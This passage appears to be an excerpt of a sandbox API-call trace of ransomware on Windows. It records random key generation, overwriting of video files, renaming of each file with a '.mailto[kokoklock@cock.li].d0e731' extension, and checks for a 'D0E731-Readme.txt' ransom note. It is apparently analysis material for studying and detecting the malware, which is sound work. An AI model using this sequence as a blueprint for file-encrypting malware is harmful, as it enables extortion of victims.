Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xcc866f7 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xe30feef6 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x1be14596 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x92c4ee2c [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xcd5edac9 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x4b433895 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xd0941e38 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x281deac1 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x3361f61b [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x16ba2088 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xf4c60dc2 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xa524c8d6 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x44d492df [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xb2fc17e9 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x5d684dde [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x40a6eccd [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x66d9efe9 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xd01a8219 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xef1d353a [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xc41af301 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xa6bc2e6a [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x95b2b28d [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xf8003663 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x560712ce [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xe858ecbf [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xac36ecf2 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xdad39e7e [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x2a9f6f12 [0072.538] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.538] ReadFile (in: hFile=0x674, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x16d3fd24, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x16d3fd24*=0x4096, lpOverlapped=0x0) returned 1 [0072.538] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.538] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0072.538] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0072.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0072.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0072.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0072.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0072.539] WriteFile (in: hFile=0x674, lpBuffer=0x348a220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x16d3fd24, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesWritten=0x16d3fd24*=0x4096, lpOverlapped=0x0) returned 1 [0072.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0072.539] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0xe962, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.540] WriteFile (in: hFile=0x674, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16d3fd5c, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x16d3fd5c*=0x20, lpOverlapped=0x0) returned 1 [0072.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.540] WriteFile (in: hFile=0x674, lpBuffer=0x341e910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x16d3fd70, lpOverlapped=0x0 | out: lpBuffer=0x341e910*, lpNumberOfBytesWritten=0x16d3fd70*=0x8, lpOverlapped=0x0) returned 1 [0072.540] WriteFile (in: hFile=0x674, lpBuffer=0x16d3fd88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16d3fd70, lpOverlapped=0x0 | out: lpBuffer=0x16d3fd88*, lpNumberOfBytesWritten=0x16d3fd70*=0x4, lpOverlapped=0x0) returned 1 [0072.540] WriteFile (in: hFile=0x674, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16d3fd70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x16d3fd70*=0x4, lpOverlapped=0x0) returned 1 [0072.540] WriteFile (in: hFile=0x674, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x16d3fd70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x16d3fd70*=0x6c, lpOverlapped=0x0) returned 1 [0072.540] WriteFile (in: hFile=0x674, lpBuffer=0x341ea50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16d3fd70, lpOverlapped=0x0 | out: lpBuffer=0x341ea50*, lpNumberOfBytesWritten=0x16d3fd70*=0x20, lpOverlapped=0x0) returned 1 [0072.540] WriteFile (in: hFile=0x674, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16d3fd70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x16d3fd70*=0x4, lpOverlapped=0x0) returned 1 [0072.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea50) returned 1 [0072.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0072.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e910) returned 1 [0072.540] CloseHandle (hObject=0x674) returned 1 [0072.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd6) returned 0x347a480 [0072.541] wcscpy (in: _Dest=0x347a480, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv" [0072.541] wcscat (in: _Dest=0x347a480, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" [0072.541] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.541] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a480) returned 1 [0072.542] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv", dwFileAttributes=0x20) returned 0 [0072.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6480 [0072.542] wcscpy (in: _Dest=0x33e6480, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0072.542] wcscat (in: _Dest=0x33e6480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" [0072.542] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\d0e731-readme.txt")) returned 0x20 [0072.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6480) returned 1 [0072.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb590) returned 1 [0072.542] RtlExitUserThread (Status=0x1) Thread: id = 576 os_tid = 0x11ac [0072.543] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf")) returned 0x20 [0072.543] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf", dwFileAttributes=0x20) returned 1 [0072.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0072.544] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x16dbfe4c | out: lpFileSize=0x16dbfe4c*=75699) returned 1 [0072.544] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x127af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.544] ReadFile (in: hFile=0x674, lpBuffer=0x16dbfe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x16dbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x16dbfe20*, lpNumberOfBytesRead=0x16dbfe1c*=0x4, lpOverlapped=0x0) returned 1 [0072.544] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0072.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e910 [0072.544] NtQuerySystemTime (in: CurrentTime=0x16dbfdf8 | out: CurrentTime=0x16dbfdf8*=132121176304409005) returned 0x0 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x1b014ed4 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x793acf7 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x8f57cf0e [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xc9810a60 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xb69ea87f [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x8b8204b9 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xed808252 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x68ea4c13 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xbb468e5c [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x6291f949 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xf5837271 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xba6a9844 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xdf0dacba [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xcb1e8ade [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xc6878b45 [0072.544] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xaea6b44d [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xf66d0b51 [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x3ea0c55 [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xd09fbd1b [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x5ca8d4dc [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x4d88fc6e [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x4525d42c [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x6878777b [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x81228aa0 [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x41d1312e [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x1162be5e [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x227bcab7 [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x68fd505a [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x1bef1ed3 [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x80a352cd [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0xc4da6f2f [0072.545] RtlRandom (in: Seed=0x16dbfe04 | out: Seed=0x16dbfe04) returned 0x897b941c [0072.609] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.609] ReadFile (in: hFile=0x674, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x16dbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x16dbfdd0*=0x4096, lpOverlapped=0x0) returned 1 [0072.609] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0072.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0072.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0072.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e640 [0072.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e640) returned 1 [0072.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0072.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0072.610] WriteFile (in: hFile=0x674, lpBuffer=0x348a220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x16dbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesWritten=0x16dbfdd0*=0x4096, lpOverlapped=0x0) returned 1 [0072.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0072.610] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x127b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.610] WriteFile (in: hFile=0x674, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16dbfe08, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x16dbfe08*=0x20, lpOverlapped=0x0) returned 1 [0072.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.611] WriteFile (in: hFile=0x674, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x16dbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x16dbfe1c*=0x8, lpOverlapped=0x0) returned 1 [0072.611] WriteFile (in: hFile=0x674, lpBuffer=0x16dbfe34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16dbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x16dbfe34*, lpNumberOfBytesWritten=0x16dbfe1c*=0x4, lpOverlapped=0x0) returned 1 [0072.611] WriteFile (in: hFile=0x674, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16dbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x16dbfe1c*=0x4, lpOverlapped=0x0) returned 1 [0072.611] WriteFile (in: hFile=0x674, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x16dbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x16dbfe1c*=0x6c, lpOverlapped=0x0) returned 1 [0072.611] WriteFile (in: hFile=0x674, lpBuffer=0x341ea50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16dbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x341ea50*, lpNumberOfBytesWritten=0x16dbfe1c*=0x20, lpOverlapped=0x0) returned 1 [0072.611] WriteFile (in: hFile=0x674, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16dbfe1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x16dbfe1c*=0x4, lpOverlapped=0x0) returned 1 [0072.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea50) returned 1 [0072.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0072.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.611] CloseHandle (hObject=0x674) returned 1 [0072.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd6) returned 0x347a480 [0072.611] wcscpy (in: _Dest=0x347a480, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf" [0072.611] wcscat (in: _Dest=0x347a480, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" [0072.612] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\h5d0qj4ibju.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.612] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a480) returned 1 [0072.612] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\h5D0qj4ibJU.swf", dwFileAttributes=0x20) returned 0 [0072.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6480 [0072.612] wcscpy (in: _Dest=0x33e6480, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0072.612] wcscat (in: _Dest=0x33e6480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" [0072.612] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\d0e731-readme.txt")) returned 0x20 [0072.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6480) returned 1 [0072.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaff0) returned 1 [0072.613] RtlExitUserThread (Status=0x1) Thread: id = 577 os_tid = 0x11b0 [0072.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6e58 [0072.614] wcscpy (in: _Dest=0x33e6e58, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0" [0072.614] wcscat (in: _Dest=0x33e6e58, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0072.614] wcscat (in: _Dest=0x33e6e58, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\*" [0072.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3478ae0 [0072.614] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\*", lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3dd340, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0x2e54cc0, ftLastAccessTime.dwHighDateTime=0x1d4ca60, ftLastWriteTime.dwLowDateTime=0x2e54cc0, ftLastWriteTime.dwHighDateTime=0x1d4ca60, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34346a8 [0072.614] wcscmp (_String1=".", _String2=".") returned 0 [0072.614] FindNextFileW (in: hFindFile=0x34346a8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3dd340, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0x2e54cc0, 